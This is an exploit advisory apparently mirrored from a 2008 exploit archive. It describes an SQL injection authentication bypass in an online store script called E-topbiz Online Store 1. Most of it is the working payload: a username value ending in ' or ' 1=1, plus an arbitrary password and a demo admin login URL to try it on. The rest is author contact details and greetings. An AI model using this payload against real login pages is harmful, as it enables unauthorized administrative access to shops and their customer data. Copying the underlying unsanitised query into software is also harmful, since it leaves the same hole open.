[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : E-topbiz Online Store 1 (Auth Bypass) SQL Injection Vuln
# Published : 2008-11-07
# Author : ZoRLu
# Previous Title : Joomla Component Recly!Competitions 1.0.0 Multiple RFI Vulnerabilities
# Next Title : Joomla Component Feederator 1.0.5 Multiple RFI Vulnerabilities
E-topbiz Online Store 1 (Auth Bypass) SQL Injection Vulnerability
author: ZoRLu msn: trt-turk@hotmail.com
Home: www.z0rlu.blogspot.com
N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( ( bIktIm a.q )
Exploit:
username: [real_admin_name] ' or ' 1=1
password: ZoRLu
note: generally admin name: admin
for demo:
http://e-topbiz.com/trafficdemos/store1/admin/login.php
username: admin ' or ' 1=1--
password: ZoRLu
thanks: str0ke & yildirimordulari.org & darkc0de.com
# www.Syue.com [2008-11-07]